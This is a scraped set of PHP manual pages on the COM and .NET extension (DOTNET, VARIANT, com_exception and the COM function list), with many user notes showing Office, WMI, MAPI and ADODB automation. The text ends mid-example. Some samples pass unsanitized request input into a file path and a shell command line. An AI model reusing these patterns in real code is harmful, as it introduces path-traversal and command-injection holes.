"Strongly named" means that the assembly has a public key. To strongly name your own classes in Visual Studio, go to the Signing tab in the project properties and click the 'sign the assembly' box and choose a key file name.

To register an assembly in the GAC, there are various tools around to do that, but the easiest method is to drag-and-drop the compiled assembly into c:\windows\assembly using windows explorer (a shell extension is installed by default that handles registering dragged files).
kschroeder at mirageworks dot com 08-Apr-2009 11:55
In order to find out what the PublicKeyToken value is, open up Explorer and go to c:\windows\assembly.  In that directory you will see all of the registered assemblies along with their PublicKeyToken value.
sam at bitopia dot co dot uk 02-May-2008 08:54
If you want to load any other assembly apart from mscorlib, you'll need to include it like the following

$x = new DOTNET('The.Assembly.Name, Version=X.X.X.X, Culture=neutral, PublicKeyToken=ZZZZZZZZZZZZ', 'The.Class.Name');

Replace all relevant details.


DOTNET class constructor

  • ? DOTNET
  • VARIANT ?
  • PHP Manual
  • DOTNET
  • DOTNET class constructor

DOTNET::__construct

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

DOTNET::__construct — DOTNET class constructor

说明

DOTNET::__construct ( string $assembly_name , string $class_name [, int $codepage = CP_ACP ] )

Constructs a new DOTNET object.

参数

assembly_name
Specifies which assembly should be loaded.
class_name
Specifices which class in that assembly to instantiate.
codepage
Codepage to use for unicode string transformations; see the COM class for more details on code pages.

User Contributed Notes

There are no user contributed notes for this page.


VARIANT class

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

简介

The VARIANT is COM's equivalent of the PHP zval; it is a structure that can contain a value with a range of different possible types. The VARIANT class provided by the COM extension allows you to have more control over the way that PHP passes values to and from COM.

类摘要

VARIANT {
/* 方法 */
__construct ([ mixed $value = NULL [, int $type = VT_EMPTY [, int $codepage = CP_ACP ]]] )
}

VARIANT examples

Example #1 Variant example

<?php
$v = new VARIANT(42);
print "The type is " . variant_get_type($v) . "<br/>";
print "The value is " . $v . "<br/>";
?>

Note:

When returning a value or fetching a variant property, the variant is converted to a PHP value only when there is a direct mapping between the types that would not result in a loss of information. In all other cases, the result is returned as an instance of the VARIANT class. You can force PHP to convert or evaluate the variant as a PHP native type by using a casting operator explicitly, or implicitly casting to a string by printing it. You may use the wide range of variant functions to perform arithmetic operations on variants without forcing a conversion or risking a loss of data.

See also variant_get_type().

Table of Contents

  • VARIANT::__construct — VARIANT class constructor

User Contributed Notes

darren at dcook dot org 17-Jul-2007 05:59
If you are frustrated that print_r($obj) (where $obj is something returned from a call to a function on a COM object) does not return anything helpful, and that variant_get_type($obj) just returns a number, the function you are actually after is:
  com_print_typeinfo($obj);

It lists all functions, variables, their types in a human-readable (well, programmer-readable) format. Lovely!
mark dot pearson at capita dot co dot uk 29-Oct-2003 11:51
Running PHP 4.3.2 on Windows 2000 I had to use the following expression to create an empty Variant:

<?php
 $empty = new Variant(null);
 print $empty->type //     ==>   1
?>

NOT

<?php
 $empty = new Variant();
 print $empty->type //     ==>   0
?>

The two expressions return different Variant type values!
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:50
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
alain at samoun dot com 02-Sep-2001 01:37
<?php
# I think that we need some examples of this thing:
# Lets define a real variant:
$varREAL=  new Variant("9.34 is a real number",VT_R8);
print "Value:". $varREAL->value; # Will print 9.34
# Now an integer
  $varINT=  new Variant("9.34 Printed as an integer",VT_INT);
print "Value:". $varINT->value; # Will print 9
# Now a string
  $varSTR=  new Variant("9.34 Printed as a string",VT_BSTR);
print "Value:". $varSTR->value; # Will 9.34 Printed as a string

?>


VARIANT class constructor

  • ? VARIANT
  • com_exception ?
  • PHP Manual
  • VARIANT
  • VARIANT class constructor

VARIANT::__construct

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

VARIANT::__construct — VARIANT class constructor

说明

VARIANT::__construct ([ mixed $value = NULL [, int $type = VT_EMPTY [, int $codepage = CP_ACP ]]] )

Constructs a new VARIANT object.

参数

value
Initial value. If omitted, or set to NULL an VT_EMPTY object is created.
type
Specifies the content type of the VARIANT object. Possible values are one of the VT_XXX 预定义常量. PHP can detect parameters passed by reference automatically; they do not even need to be passed as VARIANT objects. Consult the MSDN library for additional information on the VARIANT type.
codepage
Specifies the codepage that is used to convert strings to unicode. See the parameter of the same name in the COM class for more information.

User Contributed Notes

There are no user contributed notes for this page.


The com_exception class

(PHP 5, PHP 7)

简介

类摘要

com_exception extends Exception implements Throwable {
/* 继承的属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


COM 函数

参见

For further information on COM read the » COM specification. You might find some additional useful information in our FAQ for PHP 和 COM. If you're thinking of using MS Office applications on the server side, you should read the information here: » Considerations for Server-Side Automation of Office.

Table of Contents

  • com_create_guid — Generate a globally unique identifier (GUID)
  • com_event_sink — Connect events from a COM object to a PHP object
  • com_get_active_object — Returns a handle to an already running instance of a COM object
  • com_load_typelib — 装载一个 Typelib
  • com_message_pump — Process COM messages, sleeping for up to timeoutms milliseconds
  • com_print_typeinfo — Print out a PHP class definition for a dispatchable interface
  • variant_abs — Returns the absolute value of a variant
  • variant_add — "Adds" two variant values together and returns the result
  • variant_and — Performs a bitwise AND operation between two variants
  • variant_cast — Convert a variant into a new variant object of another type
  • variant_cat — Concatenates two variant values together and returns the result
  • variant_cmp — Compares two variants
  • variant_date_from_timestamp — Returns a variant date representation of a Unix timestamp
  • variant_date_to_timestamp — Converts a variant date/time value to Unix timestamp
  • variant_div — Returns the result from dividing two variants
  • variant_eqv — Performs a bitwise equivalence on two variants
  • variant_fix — Returns the integer portion of a variant
  • variant_get_type — Returns the type of a variant object
  • variant_idiv — Converts variants to integers and then returns the result from dividing them
  • variant_imp — Performs a bitwise implication on two variants
  • variant_int — Returns the integer portion of a variant
  • variant_mod — Divides two variants and returns only the remainder
  • variant_mul — Multiplies the values of the two variants
  • variant_neg — Performs logical negation on a variant
  • variant_not — Performs bitwise not negation on a variant
  • variant_or — Performs a logical disjunction on two variants
  • variant_pow — Returns the result of performing the power function with two variants
  • variant_round — Rounds a variant to the specified number of decimal places
  • variant_set_type — Convert a variant into another type "in-place"
  • variant_set — Assigns a new value for a variant object
  • variant_sub — Subtracts the value of the right variant from the left variant value
  • variant_xor — Performs a logical exclusion on two variants

User Contributed Notes

Sorin Negulescu 05-Nov-2016 10:49
I have spent a lot of hours trying to make word.application work on a Windows Server using Apache as a service.
The application was working if Apache was started from command line (not as a service).

In the hope that this will help others not to lose hours of trying to solve this problem here is what I found out:

- In php.ini make sure you have the following key under the [COM_DOT_NET]: extension=php_com_dotnet.dll
- Apache shall run under a normal user account (not SYSTEM account). Run services.msc and fill-in the info of the user under the Apache service's Properties tab.
- Make sure you are able to start MS Word normally under that user account and dismiss all the dialogs that may appear (license, your info with initials, etc.). Start Word once again and make sure no dialogs appear.
- Launch dcomcnfg.exe->Console Root->Component Services->Computers->My Computer->DCOM Config->Microsoft Office Word 97 - 2003->Right Click(Properties)->Identity Tab and fill in the same user account information as for Apache service.
- If you cannot find the Microsoft Office Word 97 - 2003, make sure you are launching the correct DCOM Config (64 bit vs 32 bit) depending on what version of Office you have installed. To launch the 32 bit version run: mmc comexp.msc /32

Before following the steps described above, the winword.exe app appears in task manager but, if you look at the memory consumption you can notice two things:
- it increases slowly
- it stops usually at about 7-8 MB.

Keywords: COM, word.application, Apache, service, winword, timeout, no error
larrywalker at at chelseagroton dot com 02-Sep-2008 08:53
To run a php script in a background process and pass it you var use

<?php

$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("c:\\xampp\\php\\php.exe

c:\\xampp\\Not_on_Web\\ftptestback.php --user=$username", 7, false);

?>

Works for me.
monica at digitaldesignservices dot com 27-Dec-2007 02:41
Working with Word 2003 COM object.

Have you been trying to work with the Word.Application COM and the Word Document would crash and the PHP script would hang?

Turns out that there is an issue within the Office COM object that doesn't let the web application (IIS, Apache) scripting engine release the object after instancing the COM.  The Service Pack 3 office update claims to remedy this.  Will test and post findings.
tomfmason at nospam-gmail dot com 08-Oct-2007 07:26
To get the cpu load percentage you can do something like this.

<?php
$wmi = new COM('winmgmts://');
$processor = $wmi->ExecQuery("SELECT * FROM Win32_Processor");
foreach($processor as $obj){
    $cpu_load_time = $obj->LoadPercentage;
}
echo $cpu_load_time;
?>

reference http://msdn2.microsoft.com/en-us/library/aa394373.aspx

To list current apache instances

<?php
$wmi = new COM('winmgmts://');
$processes = $wmi->ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'httpd.exe'");
foreach($processes as $process){
    echo $process->CommandLine . "<br />";
    echo $process->ProcessId . "<br />";
}
?>

reference http://msdn2.microsoft.com/en-us/library/aa394372.aspx

To run a php script in a background process

<?php
$dir = "C:\\path\\to\\dir";
$php_path = "C:\\path\\to\\php.exe";
$file = "somescript.php";
//send time current timestamp
$cmd_options = "-t " . time();
$wscript = new COM('WScript.Shell');
$wscript->Run("cmd /K CD $php_path $dir\\$file  &  ", 0, false);
?>

Enjoy

Tom
naveed at php dot net 10-Mar-2007 05:24
Here is a spell check implementation that displays the suggestion list for each misspelled word.

<?php
function SpellCheck($input)
{
    $word=new COM("word.application") or die("Cannot create Word object");
    $word->Visible=false;
    $word->WindowState=2;
    $word->DisplayAlerts=false;
    $doc=$word->Documents->Add();
    $doc->Content=$input;
    $doc->CheckSpelling();
    $result= $doc->SpellingErrors->Count;
    if($result!=0)
    {
        echo "Input text contains misspelled words.\n\n";
        for($i=1; $i <= $result; $i++)
        {
            echo "Original Word: " .$doc->SpellingErrors[$i]->Text."\n";
            $list=$doc->SpellingErrors[$i]->GetSpellingSuggestions();
            echo "Suggestions: ";
            for($j=1; $j <= $list->Count; $j++)
            {
                $correct=$list->Item($j);
                echo $correct->Name.",";
            }
            echo "\n\n";
        }
    }
    else
    {
        echo "No spelling mistakes found.";
    }
    $word->ActiveDocument->Close(false);
    $word->Quit();
    $word->Release();
    $word=null;
}

$str="Hellu world. There is a spellling error in this sentence.";
SpellCheck($str);
?>
Francois-R dot Boyer at PolyMtl dot ca 13-Feb-2007 08:32
I had the problem when trying to call Access VBA scripts from PHP; the call was working but Access would never quit.  The problem was that the Apache server is running as SYSTEM, and not a user we normally use to run Office.  And as the first time a user runs Office, it asked the SYSTEM user to enter its name and initials! ;-)

To correct this problem: Stop Apache, go to Services, Apache, Properties, "Log On" tab, and check "Allow service to interact with desktop.  Restart Apache, then open your office application, in a page loaded by the Apache server, with a small PHP code like this, :

<?php
$app = new COM("Access.Application"); // or Word.Application or Excel.Application ...
$app->Visible = true; // so that we see the window on screen
?>

Put the name you want and quit the application.  Now your Office application should terminate correctly the next time you load it with a COM object in PHP.  You can stop Apache uncheck the "Allow service to interact with desktop", and restart Apache if you like.  I don't even require a Quit or anything to be sent to Access, it quits automatically when PHP terminates.

And for those who wish to know how I'm calling Access VBA scripts, instead of using ODBC or any other way to send SQL requests, which does not seem to work to call VBA scripts, I open the database as a COM object and it works fine:

<?php
$db_com = new COM("pathname of the file.mdb");
$result = $db_com->Application->Run("function_name", 'param1', 'param2', '...');
?>
03-Oct-2006 04:11
If someone want to get a COM object out of a DCOM object can do something like that:

<?php
  $dcom_obj = new COM('dacom.object','remotehost') or die("Unable to get DCOM object!");
  $com_obj = new Variant(NULL);
  $dcom_obj->Get_Module($com_obj); //user function which returns a custom IDispatch (casted as variant*)
?>

Hopefully this will help someone, because it took me quite long to figure this out.
kiotech at hotmail dot com 18-Jul-2006 06:35
For use parameters with PHP this is a Code Example

<?php
$ObjectFactory= New COM("CrystalReports11.ObjectFactory.1");
  $crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
  $creport = $crapp->OpenReport("//report1.rpt", 1);

      $z= $creport->ParameterFields(1)->SetCurrentValue("Mango");
      $z= $creport->ParameterFields(2)->SetCurrentValue(5000);

  $creport->ExportOptions->DiskFileName="reportin.pdf";
  $creport->ExportOptions->PDFExportAllPages=true;
  $creport->ExportOptions->DestinationType=1;   $creport->ExportOptions->FormatType=31;
  $creport->Export(false);

$len = filesize("reportin.pdf");
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=reportin.pdf");
readfile("reportin.pdf");
?>
a dot kulikov at pool4tool dot com 13-Mar-2006 09:36
In case you are wondering how to group rows or columns in the freshly created EXCEL files, then this may help you

<?php
   /***
    * Grouping Rows optically in Excel Using a COM Object
    *
    * That was not easy, I have spent several hours of trial and error to get
    * this thing to work!!!
    *
    * @author Kulikov Alexey <a.kulikov@gmail.com>
    * @since  13.03.2006
    *
    * @see    Open Excel, Hit Alt+F11, thne Hit F2 -- this is your COM bible
    ***/

   //starting excel
   $excel = new COM("excel.application") or die("Unable to instanciate excel");
   print "Loaded excel, version {$excel->Version}\n";

   //bring it to front
   #$excel->Visible = 1;//NOT

   //dont want alerts ... run silent
   $excel->DisplayAlerts = 0;

   //create a new workbook
   $wkb = $excel->Workbooks->Add();

   //select the default sheet
   $sheet=$wkb->Worksheets(1);

   //make it the active sheet
   $sheet->activate;

   //fill it with some bogus data
   for($row=1;$row<=7;$row++){
       for ($col=1;$col<=5;$col++){

          $sheet->activate;
          $cell=$sheet->Cells($row,$col);
          $cell->Activate;
          $cell->value = 'pool4tool 4eva ' . $row . ' ' . $col . ' ak';
       }//end of colcount for loop
   }

   ///////////
   // Select Rows 2 to 5
   $r = $sheet->Range("2:5")->Rows;

   // group them baby, yeah
   $r->Cells->Group;

   // save the new file
   $strPath = 'tfile.xls';
   if (file_exists($strPath)) {unlink($strPath);}
   $wkb->SaveAs($strPath);

   //close the book
   $wkb->Close(false);
   $excel->Workbooks->Close();

   //free up the RAM
   unset($sheet);

   //closing excel
   $excel->Quit();

   //free the object
   $excel = null;
?>
Pedro Heliodoro 05-Mar-2006 02:38
Using the Windows Media Player OCX and the latest snap of PHP 5.1 i was able to eject a CD-ROM drive

<?php
//create an instance of Windows Media Player
$mp = new COM("WMPlayer.OCX");
//ejects the first cd-rom on the drive list
$mp->cdromcollection->item(0)->eject();

?>
allan666 at gmail dot com 29-Sep-2005 03:37
If you are using a COM object that opens windows or dialogs (like Office applications), those windows or dialogs will not appear and will stay invisible even if you use codes like

$word->visible = true;

To solve this problem, go to the web service properties (Administrative Tools) and click (in the Logon TAB) "Allow the Service to Iterate with desktop".

This explain lots of problems to close applications. When you try to close, the dialos asking to save the file must appear, but only in the option to iterate with desktop is on.

Hope it helps.
bruce at yourweb dot com dot au 23-Apr-2005 05:47
Simple convert xls to csv
<?php
// starting excel
$excel = new COM("excel.application") or die("Unable to instanciate excel");
print "Loaded excel, version {$excel->Version}\n";

//bring it to front
#$excel->Visible = 1;//NOT
//dont want alerts ... run silent
$excel->DisplayAlerts = 0;

//open  document
$excel->Workbooks->Open("C:\\mydir\\myfile.xls");
//XlFileFormat.xlcsv file format is 6
//saveas command (file,format ......)
$excel->Workbooks[1]->SaveAs("c:\\mydir\\myfile.csv",6);

//closing excel
$excel->Quit();

//free the object
$excel->Release();
$excel = null;
?>
michael at example dot com 23-Feb-2005 12:42
After alot of trouble with IIS 6/Windows 2003 and PHP 5.0.2 I figured out how to use Imagemagick COM+/OLE interface. Seems you have to recreate the COM object after each convert() otherwise it will sometimes fail with very strange errors, since the PHP COM interface is not as stable as the old ASP one apparently is.
06-Jan-2005 09:11
if you want to add a new hyperlink with excel :

<?php
$cell=$sheet->Range('O'.$j);
$cell->Hyperlinks->Add($cell ,'here_your_file');
?>

I write this note because is very difficult to find
the good method to do that .

Merci beaucoup
sorin dot andrei at mymail dot ro 25-Sep-2004 02:24
[Editor's Note:
Serializing the object, storing it and then (on the next page) unserializing it WILL work.
End Note]

the big problem for PHP is it can't save in session an COM object

an samples code is here. This works just first time, then give the error:
Call to undefined method com::Refresh() on line  $mMap->Refresh();
the reson is he can't save the object $mMap in session

<?php
    session_start();
      if (isset($_SESSION['map'])) {
            $mMap = $_SESSION['map'];
        }
        else
        {
        $ArcIMSConnector = new COM ("aims.ArcIMSConnector")  or die("can not create AIMS message object");
            echo "Loaded ArcIMSConnector, <br>";
            $ArcIMSConnector->ServerName = "map.sdsu.edu";
            $ArcIMSConnector->ServerPort = 5300;

            $mMap = new COM ("aims.Map")  or die("can not create aims.Map message object");
            echo "Loaded aims.Map, <br>";
            print "AIMS-ServerName= $ArcIMSConnector->ServerName <br>";

            $resultInit= $mMap->InitMap($ArcIMSConnector,"Worldgeography");

            $mMap->Width    = 400;            //                                'Width of the map in pixels
            $mMap->Height   = 300;            //                                'Height of the map in pixels
            $mMap->BackColor = 15130848;
            $_SESSION['map'] = $mMap;
        }

    $resultRefresh = $mMap->Refresh();                                //Refresh the map
    $urlImage      = $mMap->GetImageAsUrl();
    print "<br>urlImage=$urlImage<br>";

    print "<br><IMG SRC='$urlImage'>";

/*
    $ArcIMSConnector->Release();
    $ArcIMSConnector = null;

    $mMap->Release();
    $mMap = null;
*/

?>
ferozzahid [at] usa [dot] com 24-Aug-2004 12:06
To pass a parameter by reference to a COM function, you need to pass VARIANT to it. Common data types like integers and strings will not work for it.

As an example, calling a function that retrieves the name of a person will look like:

<?php
$Name = new VARIANT;

$comobj = new COM("MyCOMOBj.Component") or die("Couldn't create the COM Component");

if(!$comobj->GetName($Name)) {
    echo("Could not retrieve name");
}
else {
    echo("The name retrieved is : " . $Name->value);
}
?>

$Name->type will contain the type of the value stored in the VARIANT e.g. VT_BSTR.

Note For PHP 5:

Insted of '$Name->value', we can use only '$Name' for getting the value stored in the VARIANT. To get the type of the value stored in the VARIANT, use 'variant_get_type($Name)'.

Feroz Zahid
Shawn Coppock 11-Aug-2004 01:15
For those of us that are not experts with object models, if you have Microsoft Excel or Microsoft Word available, go into the Visual Basic Editor (Alt+F11). Now you can open the object browser window (F2) and see what you find.

If you select "Word" in the object browser, then the classes and members of that class are displayed below. For example, if you click on "Selection" in the classes column, and then "Font" in the members column, you will then see "Property Font As Font Member of Word.Selection" displayed at the bottom. Click on the "Font" link there.

Click on Word "Selection" again in the classes column, and then "PageSetup" in the members column, you will then see "Property PageSetup As PageSetup Member of word.Selection" displayed at the bottom. Click on the "PageSetup" link there.

Using the above examples, you can now formulate your Word Document from php. Here is a simple example that creates a 1 & 1/2" space for text based on the margin settings & with dark red text and an 8pt Helvetica font face:

<?php
$content = "Insert Sample Text Here\n\nThis starts a new paragraph line.";
$word= new COM("word.application") or die("Unable to create Word document");
print "Loaded Word, version {$word->Version}\n";
$word->Visible = 0;
$word->Documents->Add();
$word->Selection->PageSetup->LeftMargin = '3"';
$word->Selection->PageSetup->RightMargin = '4"';
$word->Selection->Font->Name = 'Helvetica';
$word->Selection->Font->Size = 8;
$word->Selection->Font->ColorIndex= 13; //wdDarkRed = 13
$word->Selection->TypeText("$content");
$word->Documents[1]->SaveAs("some_tst.doc");
$word->quit();
echo "done";
?>

This example (and others) worked for me with Microsoft Word 10.0 Object Library (MS Word 2002), Apache & PHP on Windows XP. Experimenting using the Visual Basic editor will yield some amazing documents from PHP as it will help you see the relationships of the objects used and give you an idea as to how to construct your code. But be prepared for an occaisional PHP.exe crash if your code is way off base.

Hope this helps!
angelo [at] mandato <dot> com 18-May-2004 04:30
Useful PHP functions I created (similar to other standard PHP database functions) for working with an ADO datasource:
<?php
    // ado.inc.php

    $ADO_NUM = 1;
    $ADO_ASSOC = 2;
    $ADO_BOTH = 3;

    function ado_connect( $dsn )
    {
        $link = new COM("ADODB.Connection");
        $link->Open($dsn);
        return $link;
    }

    function ado_close( $link )
    {
        $link->Close();
    }

    function ado_num_fields( $rs )
    {
        return $rs->Fields->Count;
    }

    function ado_error($link)
    {
        return $link->Errors[$link->Errors->Count-1]->Number;
    }

    function ado_errormsg($link)
    {
        return $link->Errors[$link->Errors->Count-1]->Description;
    }

    function ado_fetch_array( $rs, $result_type,  $row_number = -1 )
    {
        global $ADO_NUM, $ADO_ASSOC, $ADO_BOTH;
        if( $row_number > -1 ) // Defined in adoint.h - adBookmarkFirst    = 1
            $rs->Move( $row_number, 1 );

        if( $rs->EOF )
            return false;

        $ToReturn = array();
        for( $x = 0; $x < ado_num_fields($rs); $x++ )
        {
            if( $result_type == $ADO_NUM || $result_type == $ADO_BOTH )
                $ToReturn[ $x ] = $rs->Fields[$x]->Value;
            if( $result_type == $ADO_ASSOC || $result_type == $ADO_BOTH )
                $ToReturn[ $rs->Fields[$x]->Name ] = $rs->Fields[$x]->Value;
        }
        $rs->MoveNext();
        return $ToReturn;
    }

    function ado_num_rows( $rs )
    {
        return $rs->RecordCount;
    }

    function ado_free_result( $rs )
    {
        $rs->Close();
    }

    function ado_query( $link, $query )
    {
        return $link->Execute($query);
    }

    function ado_fetch_assoc( $rs,  $row_number = -1 )
    {
        global $ADO_ASSOC;
        return  ado_fetch_array( $rs, $ADO_ASSOC, $row_number);
    }

    function ado_fetch_row( $rs,  $row_number = -1 )
    {
        global $ADO_NUM;
        return ado_fetch_array( $rs, $ADO_NUM, $row_number);
    }

    // Extra functions:
    function ado_field_len( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Precision;
    }

    function ado_field_name( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Name;
    }

    function ado_field_scale( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->NumericScale;
    }

    function ado_field_type( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Type;
    }

?>

The aod version was a typo.
mark dickens at mindspring dot com 29-Feb-2004 08:03
Just a note to those wanting to use COM to interface to printers under Windows 2000/XP.  If it doesn't work or seems to hang, try changing the logon identity under which the Apache (assuming you're using Apache) service is running from the System account to another account.  By default most services will install to run under the System account and although the System account has total authority on the computer it is running on, it has no authority outside of that realm as I understand it.  Apparently accessing printers is considered "outside the realm".  I used this technique to interface a Dymo thermal label printer to my server and it works now.
alanraycom at el hogar dot net com 03-Dec-2003 03:50
XSLT transformations using MSXML can be done with this code

<?php
function xsltransform1($xslpath,$xmlstring)
 {
  $xml= new COM("Microsoft.XMLDOM");
  $xml->async=false;
  // $xmlstring is an xml string
  $xml->load($xmlstring);
  $xsl = new COM("Microsoft.XMLDOM");
  $xsl->async=false;
  // $xslpath is path to an xsl file
  $xsl->load($xslpath);
  $response=$xml->transformNode($xsl);
  unset($xml);
  unset($xsl);
  return $response;
 }
?>

enjoy
Alan Young
chris at hitcatcher dot com 01-Dec-2003 04:19
Many COM objects don't do well when passing long (win32) filenames as function parameters.  You can get the 8.3 name of the folder or file on *most* (some win platforms don't support it, and it can be toggled off in the registry for performance reasons) servers using the following:

<?php
//create FSO instance
$exFSO = new COM("Scripting.FileSystemObject") or die ("Could not create Scripting.FileSystemObject");

//set vars
$myDir = "C:\\Program Files\\";
$myFile = "a long file name.txt";

//get folder & file objects
$exDir = $exFSO->GetFolder($myDir);
$exFile = $exFSO->GetFile($myDir . $myFile);
echo $exDir->ShortPath;
echo $exFile->ShortPath;
?>
23-Nov-2003 09:57
Here is an example of reading the custom properties like Author, Keywords, etc. which are stored in MS Office and other Windows files. You must install and register dsofile as described at http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q224351. The .frm file in that distribution lists most of the available properties.

<?php
// the file you wish to access
$fn = '/docs/MFA.xls';

$oFilePropReader = new COM('DSOleFile.PropertyReader');
$props = $oFilePropReader->GetDocumentProperties($fn);

// one syntax
$au = com_get($props, 'Author');
print "au: $au \n";

//another syntax
$str = 'LastEditedBy';
$lsb = $props->$str;
var_dump($lsb);

// set a property if you wish
if (!$props->IsReadOnly()) {
  $props->Subject = 'tlc';
}
?>
brana 17-Nov-2003 05:17
How to send email via MAPI (works with Windows NT4, apache launched as a service)

<?php
#New MAPI session...
$session = new COM("MAPI.Session");

#Login
$strProfileInfo = "exchange_server" . chr(10) . "exchange_user";
$session->Logon("", "", 0, 1, 0, 1, $strProfileInfo);

# New message...
$msg = $session->Outbox->Messages->Add();
$msg->Subject = "Subject";
$msg->Text = "body";

#set recipients...
$rcpts = $msg->Recipients;
$rcpts->AddMultiple("toto@toto.com", 1);   #To...
$rcpts->AddMultiple("titi@titi.com", 2);   #Cc...
$rcpts->AddMultiple("tutu@tutu.com", 3);   #Bcc...

# Resolve senders
$rcpts->Resolve();

#Send message
$msg->Send();

#Logoff
$session->Logoff();

#Cleanup
if($msg!=null) {
    $msg->Release();
    $msg = null;
}
if($session!=null) {
    $session->Release();
    $session = null;
}
?>

ps : NT account launching the service and exchange user must match !
php at dictim dot com 06-Sep-2003 01:17
This took me days to work out how to do so I gotta share it:

How to get the word count from a MS Word Document:

<?php
#Instantiate the Word component.

$word = new COM("word.application") or die("Unable to instantiate Word");

$word->Visible = 1;

$word->Documents->Open("c:/anydocument.doc");
$temp = $word->Dialogs->Item(228);
$temp->Execute();
$numwords = $temp->Words();

echo $numwords;

$word->Quit();
?>

Note that this is the only way to get the word count accurately:
$word->ActiveDocument->Words->Count;
Will see all carriage returns and punctuation as words so is wildy innaccurate.
tomas dot pacl at atlas dot cz 16-Jun-2003 06:07
Passing parameters by reference in PHP 4.3.2 (and in a future releases of PHP )

In PHP 4.3.2 allow_call_time_pass_reference option is set to "Off" by default and future versions may not support this option any longer.
Some COM functions has by-reference parameters. VARIANT object must be used to call this functions, but it would be passed without an '&' before variable name.

Example:

<?php
$myStringVariant = new VARIANT("over-write me", VT_BSTR);

/* works */
$result = $comobj->DoSomethingTo($myStringVariant );

/* works only with allow_call_time_pass_reference option set to "On" and may not work in a future release of PHP */
$result = $comobj->DoSomethingTo(&$myStringVariant );

/* The value in the variant can be retrieved by: */
$theActualValue = $myStringVariant->value;
?>
php at racinghippo dot co dot uk 22-Mar-2003 05:47
PASSING/RETURNING PARAMETERS BY REFERENCE
=========================================

Some COM functions not only return values through the return value, but also act upon a variable passed to it as a parameter *By Reference*:

RetVal = DoSomethingTo (myVariable)

Simply sticking an '&' in front of myVariable doesn't work - you need to pass it a variant of the correct type, as follows:

  $myStringVariant = new VARIANT("over-write me", VT_BSTR);
  $result = $comobj->DoSomethingTo( &$myStringVariant );

The value in the variant can then be retrieved by:

  $theActualValue = $myStringVariant->value;

Other types of variant can be created as your needs demand - see the preceding section on the VARIANT type.
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:51
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
pchason at juno dot com 11-Dec-2002 11:23
Searched for days on how to set up a multi-column html output grid that didn't use an array when creating an ADODB connection. Couldn't find one so I figured it out myself. Pretty simple. Wish I would have tried it myself sooner. Commented code with database connection is below...

<html>
<body>
<table>
<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
$clients = $rs->Fields(1);
//start the multicolumn data output
$i = 0;
$columns = 5;
while (!$rs->EOF){
//if $i equals 0, start a row
